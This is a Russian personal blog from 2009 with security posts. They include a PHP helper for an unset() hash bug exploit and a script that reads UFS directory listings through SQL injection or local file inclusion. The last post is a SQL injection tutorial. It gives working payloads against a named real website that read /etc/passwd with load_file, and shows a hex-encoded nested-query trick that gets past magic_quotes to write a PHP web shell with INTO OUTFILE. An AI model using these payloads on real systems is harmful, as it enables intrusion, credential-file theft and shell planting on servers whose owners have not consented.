Какбэ Я

Моя фотография
○○●○○
○○○●○
○●●●○

понедельник, 9 ноября 2009 г.

UFS каталоги

Вот нашел структуру каталога в UFS. Блин, а я реверсил. Радует только то, что понял я тогда все правильно. Вот как это выглядит в файле ufs_fs.h

struct ufs_dir_entry {
        __u32  d_ino;                           ///inode number of this entry
__u16 d_reclen; ///length of this entry
union {
__u16 d_namlen; ///actual length of d_name
struct {
__u8 d_type; ///file type
__u8 d_namlen; ///length of string in d_name
} d_44;
} d_u;
__u8 d_name[UFS_MAXNAMLEN + 1]; ///file name
};

среда, 19 августа 2009 г.

навеяло, блин

Кому то Whisky, кому то Whiskas.
Кому то бабы, кому то киски.
Кому то просто, сидеть и хекать
Кому то, сцуко, орать и бегать.

Ах, да, забыл, у меня же труъ секурный блог, больше такого не будет, просто животное достало!

понедельник, 17 августа 2009 г.

Вычисляем hash_del_key

Скрипт от меня, для вычисления hash_del_key который требуется при использовании баги связанной с unset()

<?php
//вычисление hash_del_key для переменных php4 и php5
$h = 5381;
$st='s';//здесь имя переменной для которой считать хеш
for ($i=0;$i<strlen($st)+1;$i++)
{
$h += ($h << 5);
$h ^= ord($st[$i]);
}
echo
"hash_del_key_php4: $h";//вывод хеша php4

$h = 5381;
for (
$i=0;$i<strlen($st)+1;$i++)
{
$h += ($h << 5);
$h += ord($st[$i]);
}
echo
"hash_del_key_php5: $h";//вывод хеша php5
?>

среда, 1 апреля 2009 г.

1 АПРЕЛЯ!!!

Н. В. Гоголю исполнилось бы 200 лет. Но что такое 200 лет по сравнению с вечностью, ибо Гоголь вечен.
Гугл как всегда не остался в стороне от такого события, такой даты:

Парсинг файла каталога UFS и иже с ними

Как выяснилось при чтении каталога в Файловой Системе UFS/UFS2 (c которыми работают ОС *BSD и SunOS) не возникает ошибки и мы можем увидеть не содержимое каталога в традиционном понимании, а содержимое файла, коим по сути и является каталог.  Другими словами при проведении SQL инъекции с возможностью чтения файлов или Lfi (Local file including) можно читать не только содержимое файлов, но и содержимое каталогов. Собственно скрипт представленный ниже для этого и нужен. Функционал прост, в поле вводим URL с уязвимостью позволяющей прочитать каталог и видим результат. Еще раз повторюсь что работает только с ОС работающими c UFS (*BSD и SunOS)


<html>
<
head>
<
title>Парсинг каталогов FreeBSD от Scipio</title>
</
head>
<
body>
<?
php
error_reporting
(0);
set_time_limit(0);
if (isset(
$_POST['pole'])){$pole=$_POST['pole']; $fl=file_get_contents($pole);} else $pole='';
?>
<form method="post" action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" size="150" name="pole" value="<?=$pole?>"/>
</form>
<?php
if (!empty($fl))
{
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;
for (
$i=0;$i<$ln;$i+=2)
   {       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);
       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'<b>[DIR]</b> ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }
        if ((
$curhex=='0a0') and ($nexthex>'1') and ($nexthex<'8'))
           {
            
$pob="<br>".'<i>[LINK]</i> ';
            
$nam=TRUE;
            
$i+=4;
           }
       if (
$nam===TRUE)
           {
            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }
   }
}
?>
</body>
</html>

вторник, 31 марта 2009 г.

Двойные запросы

Есть MySQL инъекция:

http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*
смысл в том, что текущий пользователь БД root и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.

К теории, есть например такой скрипт:

<?php
mysql_connect('localhost','root','');
mysql_select_db('intbrd');
$id=$_GET["id"];
$sql = "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id;
$result = MySQL_QUERY($sql);
echo
mysql_error();
while(
$us = MySQL_FETCH_ARRAY($result))
{
echo
$us['u__email'].":".$us['u__name'];echo "<br>";
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]);
while(
$usonl = MySQL_FETCH_ARRAY($onl))
echo
$usonl["o_uid"].':'.$usonl["o_key"];
}
?>

(набросал я его чисто для наглядности и примера и показываю на примере своей бд)

обратившись к скрипту:
http://localhost/erase.php?id=-2+union+select+1,2,3/*
видим:
2:3
обратившись:
http://localhost/erase.php?id=-2+union+select+0x27,2,3/*
(0x27- код кавычки) видим:
2:3
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20
происходит это потому, что данные, полученные из первого запроса, вставляются во второй запрос.

Сделаем "внутренний" инъект-запрос:
-2 union select '999',111/*
захексим его и подставим в первое поле первого ("внешнего") запроса:
http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*

результат:
2:3
999:111
т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.

Если "внутренний" запрос будет:
-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*
то в запросе
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"])

он выполнится без проблем даже при magic_quotes on

Обратимся к первой инъекции, если мы в третье поле подставим:
-1 union select 'magic_qotes is sux'/*
и выполним:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*
увидим безобидную надпись magic_qotes is sux
а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился.

Мой блог

Вот решил создать блог, не знаю зачем мне это нужно:
...Из-за ленности, из-за праздности,
А быть может от воздержания...
Ну, посмотрим, что из этого всего получится...